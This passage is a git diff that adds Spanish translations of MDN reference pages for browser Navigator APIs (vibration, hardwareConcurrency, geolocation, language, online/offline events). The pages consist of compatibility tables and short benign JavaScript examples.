+<p>Si se especifica el valor 0, un array vacío o un array que contenga todos los valores en 0, se cancelarán todos los patrones de vibración que se estén ejecutando.</p>
+<h2 id="Excepciones">Excepciones</h2>
+<p>Podrá producirse una excepción si el patrón de vibración especificado es demasiado largo o si cualquiera de sus elementos son demasiado grandes.</p>
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Característica</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Soporte básico</td>
+    <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
+    <td>
+     <p>11.0 {{property_prefix("moz")}}</p>
+     <p>16 (no prefix)</p>
+    </td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Característica</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Soporte básico</td>
+    <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}}</td>
+    <td>11.0 {{property_prefix("moz")}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="Specification" name="Specification">Especificación</h2>
+<ul>
+ <li>{{spec("http://www.w3.org/TR/vibration/", "Vibration API Specification", "WD")}}</li>
+</ul>
+<h2 id="Véase_también">Véase también</h2>
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Vibration" title="/en-US/docs/WebAPI/Vibration">Vibration API</a></li>
+</ul>
diff --git a/files/es/web/api/navigatorconcurrenthardware/hardwareconcurrency/index.html b/files/es/web/api/navigatorconcurrenthardware/hardwareconcurrency/index.html
new file mode 100644
index 0000000000..ed2116fa94
--- /dev/null
+++ b/files/es/web/api/navigatorconcurrenthardware/hardwareconcurrency/index.html
@@ -0,0 +1,69 @@
+---
+title: navigator.hardwareConcurrency
+slug: Web/API/NavigatorConcurrentHardware/hardwareConcurrency
+translation_of: Web/API/NavigatorConcurrentHardware/hardwareConcurrency
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>La propiedad <code><strong>navigator.hardwareConcurrency  </strong></code>es de solo lectura navigator.hardwareConcurrency devuelve el número de procesadores lógicos disponibles para ejecutar subprocesos en la computadora del usuario.</p>
+
+<h2 id="Sintaxi">Sintaxi</h2>
+
+<pre class="syntaxbox"><em>logicalProcessors</em> = window.navigator.hardwareConcurrency
+</pre>
+
+<h2 id="Valor">Valor</h2>
+
+<p>{{jsxref("Number")}} <span class="tlid-translation translation" lang="es"><span title="">indica el número de núcleos de procesadores lógicos.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Las computadoras modernas tienen múltiples núcleos de procesadores físicos en su CPU (dos o cuatro núcleos son típicos), pero cada núcleo físico también puede ejecutar más de un subproceso a la vez utilizando técnicas avanzadas de programación.</span> <span title="">Por lo tanto, una CPU de cuatro núcleos puede ofrecer ocho núcleos de procesador lógico, por ejemplo.</span> <span title="">El número de núcleos de procesador lógico se puede utilizar para medir el número de subprocesos que se pueden ejecutar de manera efectiva a la vez sin que tengan que cambiar de contexto.</span></span></p>
+
+<p> <span class="tlid-translation translation" lang="es"><span title="">Sin embargo, el navegador puede optar por informar un número menor de núcleos lógicos para representar con mayor precisión el número de </span></span>{{domxref("Worker")}}s<span class="tlid-translation translation" lang="es"><span title=""> que pueden ejecutarse a la vez, así que no trate esto como una medida absoluta del número de núcleos en el sistema del usuario</span> <span title="">.</span></span></p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>En este ejemplo, se crea un {{domxref ("Worker")}} para cada procesador lógico informado por el navegador y se crea un registro que incluye una referencia al nuevo worker, así como un valor booleano que indica si nosotros ' estoy usando ese worker todavía; Estos objetos, a su vez, se almacenan en una matriz para su uso posterior. Esto crea un grupo de workers que podemos usar para procesar solicitudes más adelante.</p>
+
+<pre class="brush: js">let workerList = [];
+
+for (let i = 0; i &lt; window.navigator.hardwareConcurrency; i++) {
+  let newWorker = {
+    worker: new Worker('cpuworker.js'),
+    inUse: false
+  };
+  workerList.push(newWorker);
+}</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-navigator-hardwareconcurrency', 'navigator.hardwareConcurrency')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.NavigatorConcurrentHardware.hardwareConcurrency")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Navigator")}}</li>
+ <li>{{domxref("WorkerNavigator")}}</li>
+</ul>
diff --git a/files/es/web/api/navigatorconcurrenthardware/index.html b/files/es/web/api/navigatorconcurrenthardware/index.html
new file mode 100644
index 0000000000..d7cee835c0
--- /dev/null
+++ b/files/es/web/api/navigatorconcurrenthardware/index.html
@@ -0,0 +1,71 @@
+---
+title: NavigatorConcurrentHardware
+slug: Web/API/NavigatorConcurrentHardware
+tags:
+  - API
+  - Concurrency
+  - HTML DOM
+  - Interface
+  - Navigator
+  - NavigatorCPU
+  - NavigatorConcurrentHardware
+  - NeedsBrowserCompatibility
+  - NeedsTranslation
+  - Reference
+  - Threading
+  - Threads
+  - TopicStub
+  - WorkerNavigator
+  - Workers
+translation_of: Web/API/NavigatorConcurrentHardware
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>The <strong><code>NavigatorConcurrentHardware</code></strong> {{Glossary("mixin")}} adds to the {{domxref("Navigator")}} interface features which allow Web content to determine how many logical processors the user has available, in order to let content and Web apps optimize their operations to best take advantage of the user's CPU.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>The number of <strong>logical processor cores</strong> is a way to measure the number of threads which can effectively be run at once without them having to share CPUs. Modern computers have multiple physical cores in their CPU (two or four cores is typical), but each physical core is also usually able to run more than one thread at a time using advanced scheduling techniques. So a four-core CPU may return 8. The browser may, however, choose to reduce the number in order to represent more accurately the number of {{domxref("Worker")}}s that can run at once</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("NavigatorConcurrentHardware.hardwareConcurrency")}} {{readonlyinline}}</dt>
+ <dd>Returns the number of logical processors which may be available to the user agent. This value is always at least 1, and will be 1 if the actual number of logical processors can't be determined.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>The <code>NavigatorConcurrentHardware</code></em><em> mixin has no methods.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#navigatorconcurrenthardware', 'NavigatorConcurrentHardware')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.NavigatorConcurrentHardware")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Navigator")}}</li>
+ <li>{{domxref("WorkerNavigator")}}</li>
+</ul>
diff --git a/files/es/web/api/navigatorgeolocation/geolocation/index.html b/files/es/web/api/navigatorgeolocation/geolocation/index.html
new file mode 100644
index 0000000000..94c22ef6b0
--- /dev/null
+++ b/files/es/web/api/navigatorgeolocation/geolocation/index.html
@@ -0,0 +1,106 @@
+---
+title: window.navigator.geolocation
+slug: Web/API/NavigatorGeolocation/geolocation
+translation_of: Web/API/Navigator/geolocation
+---
+<p>{{APIRef("Geolocation API")}}<br>
+ La propiedad de sólo lectura <strong><code>Navigator.geolocation</code></strong> devuelve un objeto <a href="https://developer.mozilla.org/es/docs/Web/API/Geolocation" title="La interfaz Geolocalización representa un objeto capaz de obtener mediante programación la posición del dispositivo. Se da acceso Web de la ubicación del dispositivo. Esto permite a un sitio Web o aplicación ofrecer resultados personalizados basados ​​en la ubicación del usuario."><code>Geolocation</code></a> que proporciona acceso web a la ubicación de un dispositivo. Esto permite ofrecer al sitio web o aplicación resultados personalizados basados en la ubicación del usuario.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Por motivos de seguridad, cuando una página web trata de acceder a la información de ubicación, se solicita permiso al usuario. Cada navegador tiene sus propias reglas sobre cómo y cuándo obtener dicho permiso.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>geo</var> = <var>navigator</var>.geolocation
+</pre>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{domxref("geolocation.getCurrentPosition", "geolocation.getCurrentPosition()")}}</dt>
+ <dd>Utilizado para obtener la posición actual.</dd>
+ <dt>{{domxref("geolocation.watchPosition", "geolocation.watchPosition()")}}</dt>
+ <dd>Utilizado para asignar un manejador para dar seguimiento a cualquier cambio de ubicación.</dd>
+ <dt>{{domxref("geolocation.clearWatch", "geolocation.clearWatch()")}}</dt>
+ <dd>Utilizado para eliminar un manejador asignado a los cambios de ubicación.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Especificación inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>2.1</td>
+   <td>50</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>10</td>
+   <td>10.60</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Utilizando la geolocalización</a></li>
+</ul>
diff --git a/files/es/web/api/navigatorgeolocation/index.html b/files/es/web/api/navigatorgeolocation/index.html
new file mode 100644
index 0000000000..f9e540d902
--- /dev/null
+++ b/files/es/web/api/navigatorgeolocation/index.html
@@ -0,0 +1,106 @@
+---
+title: NavigatorGeolocation
+slug: Web/API/NavigatorGeolocation
+tags:
+  - API
+translation_of: Web/API/Geolocation
+---
+<p>{{APIRef("Geolocation API")}}</p>
+
+<p><code><strong>NavigatorGeolocation</strong></code>  contains a creation method allowing objects implementing it to obtain a {{domxref("Geolocation")}} instance.</p>
+
+<p>There is no object of type <code>NavigatorGeolocation</code>, but some interfaces, like {{domxref("Navigator")}} implements it.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>The <code>NavigatorGeolocation</code></em><em> interface doesn't inherit any property.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorGeolocation.geolocation")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Geolocation")}} object allowing accessing the location of the device.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>The </em><em><code>NavigatorGeolocation</code></em><em> interface neither implements, nor inherit any method.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#navi-geo', 'NavigatorGeolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    Removed in 15.0<br>
+    Reintroduced in 16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Using geolocation.</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/es/web/api/navigatorlanguage/index.html b/files/es/web/api/navigatorlanguage/index.html
new file mode 100644
index 0000000000..7d6b0751e7
--- /dev/null
+++ b/files/es/web/api/navigatorlanguage/index.html
@@ -0,0 +1,148 @@
+---
+title: NavigatorLanguage
+slug: Web/API/NavigatorLanguage
+tags:
+  - API
+  - HTML-DOM
+  - NeedsTranslation
+  - No Interface
+  - Reference
+  - TopicStub
+translation_of: Web/API/NavigatorLanguage
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><code><strong>NavigatorLanguage</strong></code> contains methods and properties related to the language of the navigator.</p>
+
+<p>There is no object of type <code>NavigatorLanguage</code>, but other interfaces, like {{domxref("Navigator")}} or {{domxref("WorkerNavigator")}}, implement it.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>The <code>NavigatorLanguage</code></em><em> interface doesn't inherit any property.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the preferred language of the user, usually the language of the browser UI. The <code>null</code> value is returned when this is unknown.</dd>
+ <dt>{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}</dt>
+ <dd>Returns an array of {{domxref("DOMString")}} representing the languages known to the user, by order of preference.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>The </em><em><code>NavigatorLanguage</code></em><em> interface neither implements, nor inherit any method.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#navigatorlanguage', 'NavigatorLanguage')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Since the {{SpecName('HTML5 W3C')}} snapshot, the <code>languages</code> property has been added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#navigatorlanguage', 'NavigatorLanguage')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial specification; snapshot of  an early version{{SpecName('HTML WHATWG')}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>languages</code></td>
+   <td>37</td>
+   <td>{{CompatGeckoDesktop("32")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("35")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>languages</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}} </td>
+   <td>{{CompatGeckoMobile("32")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("35")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("Navigator")}} interface that implements it.</li>
+</ul>
diff --git a/files/es/web/api/navigatorlanguage/language/index.html b/files/es/web/api/navigatorlanguage/language/index.html
new file mode 100644
index 0000000000..a8c388b631
--- /dev/null
+++ b/files/es/web/api/navigatorlanguage/language/index.html
@@ -0,0 +1,133 @@
+---
+title: NavigatorLanguage.language
+slug: Web/API/NavigatorLanguage/language
+tags:
+  - API
+  - Gecko
+  - Idioma
+  - Lenguaje
+  - NavigatorLanguage
+  - Propiedad
+  - Referencia
+  - Referencia DOM de Gecko
+  - Solo lectura
+translation_of: Web/API/NavigatorLanguage/language
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>La propiedad de solo lectura <strong><code>NavigatorLanguage.language</code></strong> devuelve un string representando el lenguaje predefinido del usuario, generalmente es el lenguaje configurado para la interfaz del navegador.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">lang = globalObj.navigator.language
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<p><code>Un string que representa el código del lenguaje standard como se define en la</code> <a class="external" href="http://www.ietf.org/rfc/bcp/bcp47.txt">BCP 47</a>. Ejemplos de códigos válidos de lenguaje incluyen: "en", "en-US", "fr", "es-ES", etc.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">if (window.navigator.language != "en") {
+  doLangSelect(window.navigator.language);
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5.1', '#dom-navigator-language', 'NavigatorLanguage.language') }}</td>
+   <td>{{ Spec2('HTML5.1') }}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("1.0")}}<sup>[2]</sup><br>
+    {{CompatGeckoDesktop("5.0")}}<sup>[3]</sup></td>
+   <td>11.0<sup>[4]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>sobre {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("35")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatNo}}<sup>[4]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>sobre {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("35")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Devuelve el lenguaje configurado para la interfaz del navegador, no el valor de la <strong><code>Accept-Language</code></strong> <a href="/en-US/docs/Web/HTTP/Headers">HTTP header</a>.</p>
+
+<p>[2] Antes de Gecko 2.0 {{geckoRelease("2.0")}}, el valor de esta propiedad fue también parte de la cadena de <strong>user agent</strong>, como se informa en {{domxref("window.navigator.userAgent", "navigator.userAgent")}}.</p>
+
+<p>[3] A partir de  Gecko 5.0 {{geckoRelease("5.0")}}, el valor de esta propiedad está basada en el valor de la <strong><code>Accept-Language</code></strong> <a href="en-US/docs/Web/HTTP/Headers">HTTP header</a>.</p>
+
+<p>[4] Otras propiedades disponibles (no estandarizadas) son: <code><a href="http://msdn.microsoft.com/en-us/library/ie/ms534713.aspx">userLanguage</a></code> y <code><a href="http://msdn.microsoft.com/en-us/library/ie/ms533542.aspx">browserLanguage</a></code>.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("NavigatorLanguage.languages", "navigator.languages")}}</li>
+ <li>{{domxref("navigator")}}</li>
+</ul>
diff --git a/files/es/web/api/navigatoronline/eventos_online_y_offline/index.html b/files/es/web/api/navigatoronline/eventos_online_y_offline/index.html
new file mode 100644
index 0000000000..d4f8a77824
--- /dev/null
+++ b/files/es/web/api/navigatoronline/eventos_online_y_offline/index.html
@@ -0,0 +1,91 @@
+---
+title: Eventos online y offline
+slug: Web/API/NavigatorOnLine/Eventos_online_y_offline
+tags:
+  - AJAX
+  - DOM
+  - Desarrollo_Web
+  - Todas_las_Categorías
+translation_of: Web/API/NavigatorOnLine/Online_and_offline_events
+---
+<p>{{ Fx_minversion_header(3) }}
+<a href="es/Firefox_3_para_desarrolladores">Firefox 3</a> implementa <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#offline">eventos Online/Offline</a> de la <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">especificacióbn WHATWG Web Applications 1.0</a>.
+</p>
+<h3 id="Descripci.C3.B3n" name="Descripci.C3.B3n"> Descripción </h3>
+<p>Para poder construir una aplicación web offline-funcional, necesitas conocer cuándo está tu aplicación realmente offline. Además, también necesitas conocer cuándo vuelve la aplicación al estado 'online' nuevamente. A efectos prácticos, los requisitos son los siguientes:
+</p>
+<ol><li> Necesitas conocer cuándo el usuario vuelve a estar online, para que puedas re-sincronizar con el servidor.
+</li><li> Necesitas conocer cuándo el usuario está offline, para así estar seguro de poner en cola las peticiones al servidor para más tarde.
+</li></ol>
+<p>Es este proceso el que los eventos online/offline ayudan a trivializar.
+</p><p>Tu aplicación web quizás necesite establecer que ciertos documentos se mantengan en la caché de recursos offline. Para hacerlo, incluye elementos <code>LINK</code> en tu sección <code>HEAD</code> de la siguiente manera:
+</p>
+<pre class="eval"><span class="nowiki">&lt;link rel="offline-resource" href="mi_recurso&gt;</span>
+</pre>
+<p>Cuando Firefox 3 o superiores procesan el HTML, esto causará que el recurso referenciado se mantenga en caché para su uso offline en un recurso especial de la caché.
+</p>
+<h3 id="API" name="API"> API </h3>
+<h4 id="navigator.onLine" name="navigator.onLine"> <code>navigator.onLine</code> </h4>
+<p><code><a href="es/DOM/window.navigator.onLine">navigator.onLine</a></code> es una propiedad que mantiene un valor <code>true</code>/<code>false</code> (<code>true</code> para online, <code>false</code> para offline). Esta propiedad se actualiza siempre que el usuario cambia hacia "Modo sin conexión" seleccionando el menú correspondiente (Archivo -&gt; Trabajar sin conexión en Firefox).
+</p><p>Además, esta propiedad se debería actualizar siempre que el navegador no sea capaz de conectarse a la red. De acuerdo con la especificación:
+</p>
+<blockquote>
+El atributo <code>navigator.onLine</code> debe devolver false si el agente de usuario no contactará con la red cuando el usuario siga los enlaces o cuando un script solicite una página remota (o sepa que intentarlo fallaría)...
+</blockquote>
+<p>Firefox 2 actualiza esta propiedad cuando cambia desde/hacia el modo offline del navegador, y cuando pierde/recupera la conectividad de la red en Windows y Linux.
+</p><p>Esta propiedad existía en versiones más antiguas de Firefox e Internet Explorer (la especificación surgió a partir estas implementaciones previas), así que puedes comenzar a usarla inmediatamente. La detección automática del estado de la red se implementó en Firefox 2.
+</p>
+<h4 id="eventos_.22online.22_y_.22offline.22" name="eventos_.22online.22_y_.22offline.22"> eventos "<code>online</code>" y "<code>offline</code>" </h4>
+<p><a href="es/Firefox_3_para_desarrolladores">Firefox 3</a> introduce dos nuevos eventos: "<code>online</code>" y "<code>offline</code>". Estos dos eventos son iniciados en el <code>&lt;body&gt;</code> de cada página cuando el usuario cambia de modo online a offline. Además, los eventos emergen desde <code>document.body</code> a <code>document</code>, terminando en <code>window</code>. Ambos eventos son no-cancelables (no se puede evitar que el usuario pase a modo online u offline).
+</p><p>Puedes registrar <i>listeners</i> para estos eventos de varias maneras habituales:
+</p>
+<ul><li> Usando <code><a href="es/DOM/element.addEventListener">addEventListener</a></code> en <code>window</code>, <code>document</code> o <code>document.body</code>
+</li><li> estableciendo las propiedades <code>.ononline</code> u <code>.onoffline</code> en <code>document</code> o <code>document.body</code> para que apunten a un objeto JavaScript <code>Function</code> (<b>Nota:</b> usar <code>window.ononline</code> o <code>window.onoffline</code> no funcionará por razones de compatibilidad).
+</li><li> especificando los atributos <code>ononline="..."</code> u <code>onoffline="..."</code> en la etiqueta <code>&lt;body&gt;</code> en el código HTML.
+</li></ul>
+<h3 id="Ejemplo:" name="Ejemplo:"> Ejemplo: </h3>
+<p>Hay una <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=220609">prueba sencilla</a> que puedes ejecutar para verificar que los eventos están funcionando.
+</p><p><span class="comment">
+</span></p>
+<pre class="eval"> &lt;!doctype html&gt;
+ &lt;html&gt;
+ &lt;head&gt;
+   &lt;script&gt;
+     function updateOnlineStatus(msg) {
+       var status = document.getElementById("status");
+       var condition = navigator.onLine ? "ONLINE" : "OFFLINE";
+       status.setAttribute("class", condition);
+       var state = document.getElementById("state");
+       state.innerHTML = condition;
+       var log = document.getElementById("log");
